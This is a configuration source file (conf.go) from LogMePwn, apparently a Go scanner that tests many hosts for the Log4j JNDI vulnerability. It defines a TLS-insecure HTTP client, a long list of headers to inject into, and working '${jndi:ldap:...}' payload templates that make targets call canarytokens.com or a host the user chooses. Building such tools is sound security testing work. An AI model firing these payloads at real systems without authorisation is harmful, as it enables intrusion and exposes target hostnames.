-
Notifications
You must be signed in to change notification settings - Fork 52
/
conf.go
91 lines (84 loc) · 3.01 KB
/
conf.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package main
import (
"crypto/tls"
"fmt"
"regexp"
"time"
"github.com/valyala/fasthttp"
)
var (
randomScan bool
useJson, useXML bool
maxConcurrent, delay int
hHeaders, hBody, customServer string
email, webhook, dummyXML string
canaryToken, urlFile, proto string
commonHTTPPorts, hMethods, userAgent string
commonIMAPPorts, commonSSHPorts string
customPayload, headFile, commonFTPPorts string
allTargets, allHTTPPorts, allSSHPorts []string
allMethods, xload, allIMAPPorts []string
allFTPPorts []string
procCount = 1
canaryResp = new(CanaryResp)
ProcChan = make(chan *ProcJob, maxWorkers)
httpClient = fasthttp.Client{
MaxIdemponentCallAttempts: 512,
WriteTimeout: 3 * time.Second,
MaxConnDuration: 3 * time.Second,
MaxIdleConnDuration: 2 * time.Second,
MaxConnWaitTimeout: 5 * time.Second,
// less emphasis on read because at almost all times
// we're bound to not get a response and timeout
ReadTimeout: 3 * time.Second,
TLSConfig: &tls.Config{
InsecureSkipVerify: true,
},
}
defaultHTTPHeaders = []string{
"Accept-Charset", "Accept-Datetime", "Accept-Encoding",
"Accept-Language", "Cache-Control", "Cookie", "DNT",
"Forwarded", "Forwarded-For", "Forwarded-For-Ip",
"Forwarded-Proto", "From", "Max-Forwards", "Origin",
"Pragma", "Referer", "True-Client-IP", "Upgrade",
"User-Agent", "Via", "Warning", "X-Api-Version",
"X-Att-DeviceId", "X-Correlation-ID", "X-Csrf-Token",
"X-Do-Not-Track", "X-Forwarded", "X-Forwarded-By", "X-XSRF-TOKEN",
"X-Forwarded-For", "X-Forwarded-Host", "X-Forwarded-Port",
"X-Forwarded-Proto", "X-Forwarded-Scheme", "X-Forwarded-Server",
"X-Forwarded-Ssl", "X-Forward-For", "X-From", "X-Geoip-Country",
"X-Http-Destinationurl", "X-Http-Host-Override", "X-Http-Method",
"X-Http-Method-Override", "X-Hub-Signature", "X-If-Unmodified-Since",
"X-ProxyUser-Ip", "X-Requested-With", "X-Request-ID", "X-UIDH",
}
lackofart = fmt.Sprintf(`
+---------------------+
| L o g M e P w n |
+---------------------+ %s
~ 0xInfection`, version)
cidrRex = regexp.MustCompile(`(?m)^(?:\d{1,3}\.){3}\d{1,3}\/(?:\d|[1-2]\d|3[0-2])$`)
)
type (
ProcJob struct {
Host string
Method string
Protocol string
}
CanaryResp struct {
Token string `json:"Token"`
Hostname string `json:"Hostname"`
URLComponents [][]string `json:"Url_components"`
Error interface{} `json:"Error"`
URL string `json:"Url"`
ErrorMessage interface{} `json:"Error_Message"`
Email string `json:"Email"`
Auth string `json:"Auth"`
}
)
const (
version = "v2.0"
letterBytes = "abcdefghijklmnopqrstuvwxyz0123456789"
maxWorkers = 100
canaryTokenFormat = "${jndi:ldap:https://x${hostName}.L4J.%s.canarytokens.com/a}"
genericPayFormat = "${jndi:ldap:https://$DNSNAME$--${hostname}.%s/a}"
)